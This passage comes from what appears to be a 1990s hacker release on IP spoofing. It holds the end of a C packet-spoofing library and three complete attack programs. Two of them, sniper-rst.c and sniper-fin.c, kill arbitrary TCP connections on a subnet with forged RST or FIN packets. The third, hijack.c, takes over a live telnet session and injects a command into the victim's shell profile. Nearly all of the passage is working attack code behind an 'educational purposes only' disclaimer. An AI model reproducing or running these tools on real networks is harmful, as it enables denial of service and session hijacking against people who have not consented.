  1431.     rc_sa.sa_flags=0;                 /* too big...                   */
  1432.     sigaction(SIGIO,&rc_sa,NULL);
  1433.     }
  1434.  
  1435. if(fcntl(or_fd,F_SETOWN,getpid())<0)
  1436.     perror("Couldn't set ownership"), exit(1);
  1437.  
  1438. if(mode&IO_HANDLE)
  1439.     {
  1440.     if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
  1441.         perror("Couldn't get FLAGS"), exit(1);
  1442.     if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0)
  1443.         perror("Couldn't set FLAGS"), exit(1);
  1444.         rc_fd_abc123=or_fd;
  1445.     }
  1446. else 
  1447.     {
  1448.     if(mode&IO_NONBLOCK)
  1449.         {
  1450.         if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
  1451.             perror("Couldn't get FLAGS"), exit(1);
  1452.         if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0)
  1453.             perror("Couldn't set FLAGS"), exit(1);
  1454.         };
  1455.     };
  1456.  
  1457. #ifdef DEBUG
  1458.     printf("Reading socket ready\n");
  1459. #endif
  1460. return or_fd;
  1461. }
  1462.  
  1463. /* returns 0 when no packet read!  */
  1464. int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned  char *proto) 
  1465. {
  1466. char help_buffer[MTU];
  1467. int pack_len;
  1468. struct IP_header *gp_IPhead;
  1469.  
  1470. pack_len = read(rc_fd,help_buffer,1500);
  1471. if(pack_len<0)
  1472.     {
  1473.     if(errno==EWOULDBLOCK) 
  1474.         {pack_len=0;}
  1475.     else
  1476.         {perror("Read error:"); exit(1);}
  1477.     };
  1478. if(pack_len>0)
  1479.     {
  1480.     pack_len -= DEV_PREFIX;
  1481.     memcpy(buffer,help_buffer+DEV_PREFIX,pack_len);
  1482.     gp_IPhead = (struct IP_header *) buffer;
  1483.     if(proto != NULL)
  1484.         *proto = gp_IPhead->protocol;
  1485.     if(TCP_UDP_start != NULL)
  1486.         *TCP_UDP_start = (gp_IPhead->verlen & 0xF) << 2;
  1487.     }
  1488. return pack_len;
  1489. }
  1490.  
  1491. void wait_packet_timeout (int sig)
  1492. {
  1493. alarm(0);
  1494. WAIT_PACKET_WAIT_TIME=1;
  1495. }
  1496.  
  1497. int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,
  1498.                 char *wp_source, unsigned short wp_source_port,
  1499.                 char *wp_dest, unsigned short wp_dest_port, int wp_flags, 
  1500.         int wait_time) 
  1501. {
  1502. char wp_buffer[1500];
  1503. struct IP_header *wp_iphead;
  1504. struct TCP_header *wp_tcphead;
  1505. unsigned long wp_sourcel, wp_destl;
  1506. int wp_tcpstart;
  1507. char wp_proto;
  1508.  
  1509. wp_sourcel=sp_getaddrbyname(wp_source);
  1510. wp_destl=sp_getaddrbyname(wp_dest);
  1511.  
  1512. WAIT_PACKET_WAIT_TIME=0;
  1513. if(wait_time!=0)
  1514.     {
  1515.     signal(SIGALRM,wait_packet_timeout);
  1516.     alarm(wait_time);
  1517.     }    
  1518.  
  1519. while(1)
  1520.   {
  1521.   while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)<=0) 
  1522.     {
  1523.     if (WAIT_PACKET_WAIT_TIME!=0)    {alarm(0); return -1;}
  1524.     };
  1525.   if(wp_proto == 6)
  1526.     {
  1527.     wp_iphead= (struct IP_header *) wp_buffer;
  1528.     wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart);
  1529.     if( (wp_sourcel==wp_iphead->source)&&(wp_destl==wp_iphead->destination) )
  1530.       {
  1531.       if( (ntohs(wp_tcphead->source)==wp_source_port) &&
  1532.                                (ntohs(wp_tcphead->destination)==wp_dest_port) )
  1533.         {
  1534.         if( (wp_flags==0) || (ntohs(wp_tcphead->offset_flag)&wp_flags) )
  1535.           {
  1536.           ret_values->seq=ntohl(wp_tcphead->seq_nr);
  1537.           ret_values->ack=ntohl(wp_tcphead->ACK_nr);
  1538.           ret_values->flags=ntohs(wp_tcphead->offset_flag)&
  1539.                         (URG|ACK|PSH|FIN|RST|SYN);
  1540.           ret_values->datalen = ntohs(wp_iphead->length) -            
  1541.                            ((wp_iphead->verlen & 0xF) << 2) -
  1542.                             ((ntohs(wp_tcphead->offset_flag) & 0xF000) >> 10);
  1543.           alarm(0);
  1544.           return 0;
  1545.           }
  1546.         }
  1547.       }
  1548.     }
  1549.   }
  1550. /*impossible to get here.. but anyways*/
  1551. alarm(0); return -1;
  1552. }
  1553.  
  1554.  
  1555. void close_receiving (void)
  1556. {
  1557. close(rc_fd_abc123);
  1558. }
  1559.  
  1560. void rc_sigio (int sig)                     /* Packet handling routine */
  1561. {
  1562. char rc_buffer[1500];
  1563. char packet_id [50];
  1564. unsigned char *rc_so, *rc_dest;
  1565. struct IP_header *rc_IPhead;
  1566. struct TCP_header *rc_TCPhead;
  1567. int pack_len;
  1568.  
  1569. if(RC_FILTSET==0) return;
  1570.  
  1571. if(SP_DATA_BUSY!=0)              /* skip this packet */
  1572.     return;     
  1573.  
  1574. pack_len = read(rc_fd_abc123,rc_buffer,1500);
  1575. rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX);
  1576. if(rc_IPhead->protocol!=6) return;                          /* if not TCP */
  1577. rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead->verlen & 0xF) << 2));
  1578.    
  1579. rc_so   = (unsigned char *) &(rc_IPhead->source);
  1580. rc_dest = (unsigned char *) &(rc_IPhead->destination);   
  1581. sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
  1582.           rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead->source),
  1583.           rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead->destination)); 
  1584.     
  1585. if(strcmp(packet_id,rc_filter_string)==0)
  1586.     { 
  1587.     SP_DATA_BUSY=1;
  1588.     CUR_SEQ = ntohl(rc_TCPhead->seq_nr);
  1589.     CUR_ACK = ntohl(rc_TCPhead->ACK_nr);
  1590.         CUR_FLAGS = ntohs(rc_TCPhead->offset_flag);
  1591.     CUR_DATALEN = ntohs(rc_IPhead->length) - 
  1592.               ((rc_IPhead->verlen & 0xF) << 2) -
  1593.                       ((ntohs(rc_TCPhead->offset_flag) & 0xF000) >> 10);
  1594.     CUR_COUNT++;
  1595.     SP_DATA_BUSY=0;
  1596.     }
  1597. }
  1598.  
  1599. void set_filter (char *f_source, unsigned short f_source_port,
  1600.                  char *f_dest, unsigned short f_dest_port)
  1601. {
  1602. unsigned char *f_so, *f_des;
  1603. unsigned long f_sol, f_destl;
  1604.  
  1605. RC_FILTSET=0;
  1606. if(DEV_PREFIX==9999)
  1607.     fprintf(stderr,"DEV_PREFIX not set!\n"), exit(1);
  1608. f_sol   = sp_getaddrbyname(f_source);
  1609. f_destl = sp_getaddrbyname(f_dest);
  1610. f_so    = (unsigned char *) &f_sol;
  1611. f_des   = (unsigned char *) &f_destl;   
  1612. sprintf(rc_filter_string,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
  1613.                       f_so[0],f_so[1],f_so[2],f_so[3],f_source_port,    
  1614.                   f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port); 
  1615. RC_FILTSET=1;
  1616. }
  1617.  
  1618. ------------------------------------------------------------------------------
  1619.  
  1620. ---=[ sniper-rst.c ]=---------------------------------------------------------
  1621. /**************************************************************************/
  1622. /*  Sniper-rst - Example program on connection killing with IP spoofing   */
  1623. /*               Using the RST flag.                                      */
  1624. /*               (illustration for 'A short overview of IP spoofing')     */
  1625. /*                                                                        */
  1626. /*  Purpose - Killing any TCP connection on your subnet                   */
  1627. /*                                                                        */
  1628. /*  Author - Brecht Claerhout <Coder@reptile.rug.ac.be>                   */
  1629. /*           Serious advice, comments, statements, greets, always welcome */
  1630. /*           flames, moronic 3l33t >/dev/null                             */
  1631. /*                                                                        */
  1632. /*  Disclaimer - This program is for educational purposes only. I am in   */
  1633. /*               NO way responsible for what you do with this program,    */
  1634. /*               or any damage you or this program causes.                */
  1635. /*                                                                        */
  1636. /*  For whom - People with a little knowledge of TCP/IP, C source code    */
  1637. /*             and general UNIX. Otherwise, please keep your hands of,    */
  1638. /*             and catch up on those things first.                        */
  1639. /*                                                                        */
  1640. /*  Limited to - Linux 1.3.X or higher.                                   */
  1641. /*               ETHERNET support ("eth0" device)                         */
  1642. /*               If you network configuration differs it shouldn't be to  */
  1643. /*               hard to modify yourself. I got it working on PPP too,    */
  1644. /*               but I'm not including extra configuration possibilities  */
  1645. /*               because this would overload this first release that is   */
  1646. /*               only a demonstration of the mechanism.                   */
  1647. /*               Anyway if you only have ONE network device (slip,        */
  1648. /*               ppp,... ) after a quick look at this code and spoofit.h  */
  1649. /*               it will only take you a few secs to fix it...            */
  1650. /*               People with a bit of C knowledge and well known with     */
  1651. /*               their OS shouldn't have to much trouble to port the code.*/
  1652. /*               If you do, I would love to get the results.              */
  1653. /*                                                                        */
  1654. /*  Compiling - gcc -o sniper-rst sniper-rst.c                            */
  1655. /*                                                                        */
  1656. /*  Usage - Usage described in the spoofing article that came with this.  */
  1657. /*          If you didn't get this, try to get the full release...        */
  1658. /*                                                                        */
  1659. /*  See also - Sniffit (for getting the necessairy data on a connection)  */
  1660. /**************************************************************************/
  1661.                                                        
  1662. #include "spoofit.h"
  1663.  
  1664. /* Those 2 'defines' are important for putting the receiving device in  */
  1665. /* PROMISCUOUS mode                                                     */    
  1666. #define INTERFACE    "eth0" 
  1667. #define INTERFACE_PREFIX 14  
  1668.  
  1669. char SOURCE[100],DEST[100];
  1670. int SOURCE_P,DEST_P;
  1671.  
  1672. void main(int argc, char *argv[])
  1673. {
  1674. int i,stat,j;
  1675. int fd_send, fd_receive;
  1676. unsigned long sp_ack, sp_seq;
  1677. unsigned short flags;
  1678. struct sp_wait_packet pinfo;
  1679.  
  1680. if(argc != 5)
  1681.     {
  1682.     printf("usage: %s host1 port1 host2 port2\n",argv[0]);
  1683.     exit(0);
  1684.     }
  1685.  
  1686. /* preparing some work */
  1687. DEV_PREFIX = INTERFACE_PREFIX;
  1688. strcpy(SOURCE,argv[1]);
  1689. SOURCE_P=atoi(argv[2]);
  1690. strcpy(DEST,argv[3]);
  1691. DEST_P=atoi(argv[4]);
  1692.  
  1693. /* opening sending and receiving sockets */
  1694. fd_send = open_sending();
  1695. fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */
  1696.  
  1697. printf("Trying to terminate the connection\n");
  1698.  
  1699. for(i=1;i<=100;i++)
  1700.   {
  1701.   /* Waiting for a packet containing an ACK */
  1702.   stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,5);
  1703.   if(stat==-1)  {printf("Connection 5 secs idle or dead...\n");exit(1);}
  1704.   sp_seq=pinfo.ack;
  1705.   sp_ack=0;
  1706.   j=0;
  1707.   /* Sending our fake Packet */
  1708.  
  1709. /* for(j=0;j<10;j++)    This would be better       */  
  1710. /*    {                                          */
  1711.       transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,
  1712.                             sp_seq+j,sp_ack,RST);
  1713. /*      }                                          */
  1714.  
  1715.   /* waiting for confirmation */
  1716.   stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,0,5);
  1717.   if(stat<0)
  1718.       {
  1719.       printf("Connection 5 secs idle or dead...\n");
  1720.       exit(0);
  1721.       }  
  1722.   }
  1723. printf("I did not succeed in killing it.\n");
  1724. }
  1725.  
  1726. ------------------------------------------------------------------------------
  1727.  
  1728. ---=[ sniper-fin.c ]=---------------------------------------------------------
  1729. /**************************************************************************/
  1730. /*  Sniper-fin - Example program on connection killing with IP spoofing   */
  1731. /*               using the FIN flag.                                      */
  1732. /*               (illustration for 'A short overview of IP spoofing')     */
  1733. /*                                                                        */
  1734. /*  Purpose - Killing any TCP connection on your subnet                   */
  1735. /*                                                                        */
  1736. /*  Author - Brecht Claerhout <Coder@reptile.rug.ac.be>                   */
  1737. /*           Serious advice, comments, statements, greets, always welcome */
  1738. /*           flames, moronic 3l33t >/dev/null                             */
  1739. /*                                                                        */
  1740. /*  Disclaimer - This program is for educational purposes only. I am in   */
  1741. /*               NO way responsible for what you do with this program,    */
  1742. /*               or any damage you or this program causes.                */
  1743. /*                                                                        */
  1744. /*  For whom - People with a little knowledge of TCP/IP, C source code    */
  1745. /*             and general UNIX. Otherwise, please keep your hands of,    */
  1746. /*             and catch up on those things first.                        */
  1747. /*                                                                        */
  1748. /*  Limited to - Linux 1.3.X or higher.                                   */
  1749. /*               ETHERNET support ("eth0" device)                         */
  1750. /*               If you network configuration differs it shouldn't be to  */
  1751. /*               hard to modify yourself. I got it working on PPP too,    */
  1752. /*               but I'm not including extra configuration possibilities  */
  1753. /*               because this would overload this first release that is   */
  1754. /*               only a demonstration of the mechanism.                   */
  1755. /*               Anyway if you only have ONE network device (slip,        */
  1756. /*               ppp,... ) after a quick look at this code and spoofit.h  */
  1757. /*               it will only take you a few secs to fix it...            */
  1758. /*               People with a bit of C knowledge and well known with     */
  1759. /*               their OS shouldn't have to much trouble to port the code.*/
  1760. /*               If you do, I would love to get the results.              */
  1761. /*                                                                        */
  1762. /*  Compiling - gcc -o sniper-fin sniper-fin.c                            */
  1763. /*                                                                        */
  1764. /*  Usage - Usage described in the spoofing article that came with this.  */
  1765. /*          If you didn't get this, try to get the full release...        */
  1766. /*                                                                        */
  1767. /*  See also - Sniffit (for getting the necessairy data on a connection)  */
  1768. /**************************************************************************/
  1769.                                                        
  1770. #include "spoofit.h"
  1771.  
  1772. /* Those 2 'defines' are important for putting the receiving device in  */
  1773. /* PROMISCUOUS mode                                                     */    
  1774. #define INTERFACE    "eth0" 
  1775. #define INTERFACE_PREFIX 14  
  1776.  
  1777. char SOURCE[100],DEST[100];
  1778. int SOURCE_P,DEST_P;
  1779.  
  1780. void main(int argc, char *argv[])
  1781. {
  1782. int i,stat;
  1783. int fd_send, fd_receive;
  1784. unsigned long sp_ack, sp_seq;
  1785. unsigned short flags;
  1786. struct sp_wait_packet pinfo;
  1787.  
  1788. if(argc != 5)
  1789.     {
  1790.     printf("usage: %s host1 port1 host2 port2\n",argv[0]);
  1791.     exit(0);
  1792.     }
  1793.  
  1794. /* preparing some work */
  1795. DEV_PREFIX = INTERFACE_PREFIX;
  1796. strcpy(SOURCE,argv[1]);
  1797. SOURCE_P=atoi(argv[2]);
  1798. strcpy(DEST,argv[3]);
  1799. DEST_P=atoi(argv[4]);
  1800.  
  1801. /* opening sending and receiving sockets */
  1802. fd_send = open_sending();
  1803. fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */
  1804.  
  1805. for(i=1;i<100;i++)
  1806.   {
  1807.   printf("Attack Sequence %d.\n",i);
  1808.   /* Waiting for a packet containing an ACK */
  1809.   stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10);
  1810.   if(stat==-1)  {printf("Connection 10 secs idle... timeout.\n");exit(1);}
  1811.   sp_seq=pinfo.ack;
  1812.   sp_ack=pinfo.seq+pinfo.datalen;
  1813.   /* Sending our fake Packet */
  1814.   transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,sp_seq,sp_ack,ACK|FIN);
  1815.   /* waiting for confirmation */
  1816.   stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5);
  1817.   if(stat>=0)
  1818.       {
  1819.       printf("Killed the connection...\n");
  1820.       exit(0);
  1821.       }  
  1822.   printf("Hmmmm.... no response detected... (retry)\n");
  1823.   }
  1824. printf("I did not succeed in killing it.\n");
  1825. }
  1826.  
  1827. ------------------------------------------------------------------------------
  1828.  
  1829. ---=[ hijack.c ]=-------------------------------------------------------------
  1830. /**************************************************************************/
  1831. /*  Hijack - Example program on connection hijacking with IP spoofing     */
  1832. /*               (illustration for 'A short overview of IP spoofing')     */
  1833. /*                                                                        */
  1834. /*  Purpose - taking control of a running telnet session, and executing   */
  1835. /*            our own command in that shell.                              */
  1836. /*                                                                        */
  1837. /*  Author - Brecht Claerhout <Coder@reptile.rug.ac.be>                   */
  1838. /*           Serious advice, comments, statements, greets, always welcome */
  1839. /*           flames, moronic 3l33t >/dev/null                             */
  1840. /*                                                                        */
  1841. /*  Disclaimer - This program is for educational purposes only. I am in   */
  1842. /*               NO way responsible for what you do with this program,    */
  1843. /*               or any damage you or this program causes.                */
  1844. /*                                                                        */
  1845. /*  For whom - People with a little knowledge of TCP/IP, C source code    */ 
  1846. /*             and general UNIX. Otherwise, please keep your hands of,    */
  1847. /*             and catch up on those things first.                        */
  1848. /*                                                                        */
  1849. /*  Limited to - Linux 1.3.X or higher.                                   */
  1850. /*               ETHERNET support ("eth0" device)                         */
  1851. /*               If you network configuration differs it shouldn't be to  */
  1852. /*               hard to modify yourself. I got it working on PPP too,    */
  1853. /*               but I'm not including extra configuration possibilities  */
  1854. /*               because this would overload this first release that is   */
  1855. /*               only a demonstration of the mechanism.                   */
  1856. /*               Anyway if you only have ONE network device (slip,        */
  1857. /*               ppp,... ) after a quick look at this code and spoofit.h  */
  1858. /*               it will only take you a few secs to fix it...            */
  1859. /*               People with a bit of C knowledge and well known with     */
  1860. /*               their OS shouldn't have to much trouble to port the code.*/
  1861. /*               If you do, I would love to get the results.              */
  1862. /*                                                                        */
  1863. /*  Compiling - gcc -o hijack hijack.c                                    */
  1864. /*                                                                        */
  1865. /*  Usage - Usage described in the spoofing article that came with this.  */
  1866. /*          If you didn't get this, try to get the full release...        */ 
  1867. /*                                                                        */
  1868. /*  See also - Sniffit (for getting the necessairy data on a connection)  */
  1869. /**************************************************************************/
  1870.  
  1871. #include "spoofit.h"       /* My spoofing include.... read licence on this */
  1872.  
  1873. /* Those 2 'defines' are important for putting the receiving device in  */
  1874. /* PROMISCUOUS mode                                                     */
  1875. #define INTERFACE        "eth0"  /* first ethernet device          */
  1876. #define INTERFACE_PREFIX     14        /* 14 bytes is an ethernet header */
  1877.  
  1878. #define PERSONAL_TOUCH        666
  1879.  
  1880. int fd_receive, fd_send;
  1881. char CLIENT[100],SERVER[100];
  1882. int CLIENT_P;
  1883.  
  1884. void main(int argc, char *argv[]) 
  1885. int i,j,count;
  1886. struct sp_wait_packet attack_info;
  1887. unsigned long sp_seq ,sp_ack; 
  1888. unsigned long old_seq ,old_ack; 
  1889. unsigned long serv_seq ,serv_ack; 
  1890.  
  1891. /* This data used to clean up the shell line */
  1892. char to_data[]={0x08, 0x08,0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0a, 0x0a};
  1893. char evil_data[]="echo \"echo HACKED\" >>$HOME/.profile\n";
  1894.  
  1895. if(argc!=4)
  1896.     {
  1897.     printf("Usage: %s client client_port server\n",argv[0]);
  1898.     exit(1);
  1899.     }
  1900. strcpy(CLIENT,argv[1]);
  1901. CLIENT_P=atoi(argv[2]);
  1902. strcpy(SERVER,argv[3]);
  1903.  
  1904. /* preparing all necessary sockets (sending + receiving) */
  1905. DEV_PREFIX = INTERFACE_PREFIX;
  1906. fd_send = open_sending();                  
  1907. fd_receive = open_receiving(INTERFACE, 0);  /* normal BLOCKING mode */
  1908.  
  1909. printf("Starting Hijacking demo - Brecht Claerhout 1996\n");
  1910. printf("-----------------------------------------------\n");
  1911.  
  1912. for(j=0;j<50;j++)
  1913.   {
  1914.   printf("\nTakeover phase 1: Stealing connection.\n");
  1915.   wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0);
  1916.   sp_seq=attack_info.seq+attack_info.datalen; 
  1917.   sp_ack=attack_info.ack;
  1918.   printf("  Sending Spoofed clean-up data...\n");
  1919.   transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,23,
  1920.                                                       sp_seq,sp_ack,ACK|PSH);
  1921. /* NOTE: always beware you receive y'r OWN spoofed packs! */
  1922. /*       so handle it if necessary                         */
  1923.   count=0;
  1924.   printf("  Waiting for spoof to be confirmed...\n");
  1925.   while(count<5)
  1926.     {
  1927.         wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
  1928.         if(attack_info.ack==sp_seq+sizeof(to_data))
  1929.         count=PERSONAL_TOUCH;
  1930.         else count++;
  1931.         };
  1932.   if(count!=PERSONAL_TOUCH)
  1933.         {printf("Phase 1 unsuccesfully ended.\n");}
  1934.   else {printf("Phase 1 ended.\n"); break;};
  1935.   };
  1936.  
  1937. printf("\nTakeover phase 2: Getting on track with SEQ/ACK's again\n");
  1938. count=serv_seq=old_ack=0;
  1939. while(count<10)
  1940.     {
  1941.     old_seq=serv_seq;
  1942.     old_ack=serv_ack;
  1943.     wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P, ACK,0);
  1944.     if(attack_info.datalen==0)
  1945.       {
  1946.       serv_seq=attack_info.seq+attack_info.datalen;
  1947.       serv_ack=attack_info.ack;
  1948.           if( (old_seq==serv_seq)&&(serv_ack==old_ack) )
  1949.         count=PERSONAL_TOUCH;
  1950.        else count++;
  1951.           }
  1952.         };
  1953. if(count!=PERSONAL_TOUCH)
  1954.         {printf("Phase 2 unsuccesfully ended.\n"); exit(0);}
  1955. printf("  Server SEQ: %X (hex)    ACK: %X (hex)\n",serv_seq,serv_ack);
  1956. printf("Phase 2 ended.\n");
  1957.  
  1958. printf("\nTakeover phase 3: Sending MY data.\n");
  1959. printf("  Sending evil data.\n");
  1960. transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P, 
  1961.          SERVER,23,serv_ack,serv_seq,ACK|PSH);
  1962. count=0;
  1963. printf("  Waiting for evil data to be confirmed...\n");
  1964. while(count<5)
  1965.     {
  1966.         wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
  1967.         if(attack_info.ack==serv_ack+sizeof(evil_data))
  1968.         count=PERSONAL_TOUCH;
  1969.         else count++;
  1970.         };
  1971. if(count!=PERSONAL_TOUCH)
  1972.         {printf("Phase 3 unsuccesfully ended.\n"); exit(0);}
  1973. printf("Phase 3 ended.\n");
  1974.  
  1975. }
  1976.  
  1977. ------------------------------------------------------------------------------
  1978.  
  1979.  
  1980.  
  1981.  
  1982.  
  1983.